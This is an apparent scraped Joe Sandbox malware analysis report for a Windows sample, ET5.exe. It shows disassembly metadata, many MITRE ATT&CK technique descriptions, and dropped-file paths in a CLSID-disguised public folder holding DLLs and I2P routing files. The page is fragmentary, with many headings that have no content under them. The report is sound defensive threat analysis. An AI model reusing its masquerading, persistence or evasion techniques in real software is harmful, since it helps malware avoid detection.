MultiByteToWideChar.KERNEL32 ref: 00007FF8BFB608DB
IsDBCSLeadByteEx.KERNEL32 ref: 00007FF8BFB608F6
MultiByteToWideChar.KERNEL32 ref: 00007FF8BFB6094A
_errno.MSVCRT ref: 00007FF8BFB60954

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Byte$CharMultiWide$Lead_errno
String ID:
API String ID: 2766522060-0
Opcode ID: e8253d56d0b58ad1b64e691326fc3e79f2b663f54273177497c3c234157879e1
Instruction ID: 9317a04fa7476c8be615d7717bcbc44b63ed2ee466dc5c35a1614e87327650d4
Opcode Fuzzy Hash: e8253d56d0b58ad1b64e691326fc3e79f2b663f54273177497c3c234157879e1
Instruction Fuzzy Hash: 1E319172A1C2829AFB704F6EE41037DBB91AB957C8F088135EB88477D5DA7CD5458B00

Function 00007FF8BFB55B0D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF8BFB55A35

Strings

fs_file_read, xrefs: 00007FF8BFB55A72
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF8BFB55A79

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d0d3c988c06b2d366a7484f326da4dc4b26bbbf2a867e45f47f7a2833708fe31
Instruction ID: 1fdb397a2cbe78cace0cd9996cd2d34cf93ff475ba00e3d9a2d92397a53f2e2d
Opcode Fuzzy Hash: d0d3c988c06b2d366a7484f326da4dc4b26bbbf2a867e45f47f7a2833708fe31
Instruction Fuzzy Hash: 77F05E23B0960651F9529A8CB4A1BBD63412F403EEF4D5531CF4D0A6C5EE3DB8C79200

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Tactics:	Credential Access, Discovery
Data Sources:	Command: Command Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ET5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\config.ini

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log.1

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.conf

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.su3

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\2xpt3io56xrs5j5mjyimmwpivijuqqw2dwu3avspt3kft5rpbgda.dat

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\bgpvwxs6gcu5hamy4lnzog2vkec45n2psc66dpw6lvo4v36rnxgq.dat

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\fen7677zrfeokzjqt36wrgxqd4w4kl3aa5jxvwhjuqnoyazqbkla.dat

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\fkh4q6fhn2nkwomqrkawdxphqila6oioggosbbzczyq6cz6tq3ea.dat

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\jwf2ycsm7emxvevkqd2h4wdkhn52vfj4xj7wst277calaicbvl2q.dat

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\lgtsld5v6mjkk42vmve54o7pdgr5ad3ocu3opqvum5lz3vzqucnq.dat

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\m7m7mhkif7kqipihx52vnfrwvzbnjvr3fnqwrltilgatnla7cwnq.dat

Windows Analysis Report
ET5.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre